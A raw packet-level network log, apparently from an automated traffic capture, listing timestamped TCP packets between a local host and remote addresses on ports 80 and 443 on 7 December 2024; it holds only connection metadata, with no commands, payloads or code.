Dec 7, 2024 18:26:16.548664093 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.548677921 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.548731089 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.548731089 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.551882982 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.551991940 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.552001953 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.552069902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.555476904 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.555560112 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.555568933 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.555605888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.558892965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.558948994 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.558999062 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.559070110 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.562395096 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.562453985 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.562498093 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.562608957 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.565865040 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.565916061 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.566040993 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.566097021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.569325924 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.569405079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.569406986 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.569464922 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.598330975 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.598434925 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.598443031 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.598510981 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.599983931 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.600075006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.600747108 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.600802898 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.600954056 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.601006031 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.604156017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.604224920 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.604324102 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.604401112 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.607511044 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.607634068 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.607641935 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.607683897 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.611042976 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.611118078 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.611135006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.611181021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.614485979 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.614568949 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.614634991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.614710093 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.617881060 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.617925882 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.617975950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.617975950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.664174080 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.664235115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.664237976 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.664287090 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.665519953 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.665570021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.666135073 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.666241884 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.666271925 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.666662931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.670859098 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.670875072 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.670922041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.670952082 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.672399998 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.672467947 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.672529936 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.672581911 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.731869936 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.731964111 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.732000113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.732000113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.732424974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.732512951 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.732577085 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.732606888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.734555006 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.734611988 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.734695911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.734788895 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.736274004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.736329079 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.736429930 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.736495018 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.738346100 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.738411903 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.738491058 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.738542080 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.740530014 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.740653992 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.740700006 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.740871906 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.742506981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.742645979 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.742646933 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.742716074 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.744600058 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.744612932 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.744724035 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.746159077 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.746172905 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.746206999 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.746242046 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.749532938 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.749594927 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.749641895 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.749696970 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.750619888 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.750633001 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.750682116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.750701904 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.752614975 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.752664089 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.752899885 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.752959967 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.754708052 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.754791021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.754966021 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.755019903 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.756582975 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.756627083 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.761497974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.761512995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.761523962 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.761535883 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.761550903 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.761563063 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.761600018 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.761600018 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.762850046 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.762912989 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.762994051 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.763057947 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.764858007 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.764945030 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.764986992 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.765038967 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.766855001 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.766912937 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.766994953 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.767132998 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.768942118 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.769005060 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.769090891 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.769141912 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.770984888 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.770998001 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.771055937 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.771055937 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.772780895 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.772864103 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.773046017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.773147106 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.774816990 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.774887085 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.775204897 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.775252104 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.776989937 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.777072906 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.777153969 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.777204990 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.779031038 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.779110909 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.779182911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.779226065 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.780225039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.780282021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.780311108 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.780374050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.783402920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.783426046 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.783503056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.783503056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.790925980 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.791035891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.791047096 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.791098118 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.792057991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.792166948 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.792167902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.792222023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.794013977 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.794087887 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.797791004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.797806025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.797822952 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.797836065 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.797871113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.797889948 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.799668074 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.799731970 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.799964905 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.800087929 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.801719904 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.801798105 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.801863909 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.801935911 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.803720951 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.803786039 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.803865910 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.803917885 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.805666924 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.805742025 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.805838108 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.805911064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.807745934 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.807820082 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.807910919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.807971001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.809706926 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.809796095 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.809870958 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.809942961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.811816931 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.811830997 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.811877012 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.811877012 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.813894987 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.813951969 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.814182997 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.814238071 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.816047907 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.816061974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.816097021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.816114902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.855365038 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:16.855431080 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:16.856070995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.856144905 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.856219053 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.856251001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.857105970 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.857145071 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.857161999 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.857201099 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.859157085 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.859239101 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.859288931 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.859342098 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.861063004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.861135006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.861181974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.861351013 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.861457109 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:16.861479998 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:16.861757040 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:16.863059044 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.863121033 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.863145113 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.863210917 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.865189075 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.865221024 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.865266085 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.865266085 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.867114067 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.867172003 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.867209911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.867255926 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.869148016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.869261980 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.869306087 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.869344950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.870173931 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:16.911340952 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:16.924483061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.924561977 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.924587011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.924618959 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.925040960 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.925165892 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.925184965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.925318956 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.926352024 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.926444054 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.926501036 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.926558018 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.927738905 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.927755117 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.927813053 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.927813053 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.929512978 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.929569960 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.929785967 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.929836988 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.931654930 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.931729078 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.931780100 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.931829929 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.932645082 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.932720900 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.932765961 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.932811975 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.933782101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.933832884 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.933929920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.933959961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.934601068 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.934645891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.934778929 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.934823990 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.935890913 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.935957909 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.936034918 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.936091900 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.937071085 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.937155962 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.937392950 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.937441111 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.938275099 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.938349009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.938425064 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.938515902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.939630985 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.939694881 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.939795971 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.939838886 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.940764904 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.940859079 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.941073895 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.941135883 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.942121983 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.942135096 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.942184925 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.943339109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.943401098 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.943485975 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.943536997 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.944602013 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.944669962 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.944742918 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.944792986 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.945776939 CET	80	49699	185.215.113.206	192.168.2.7
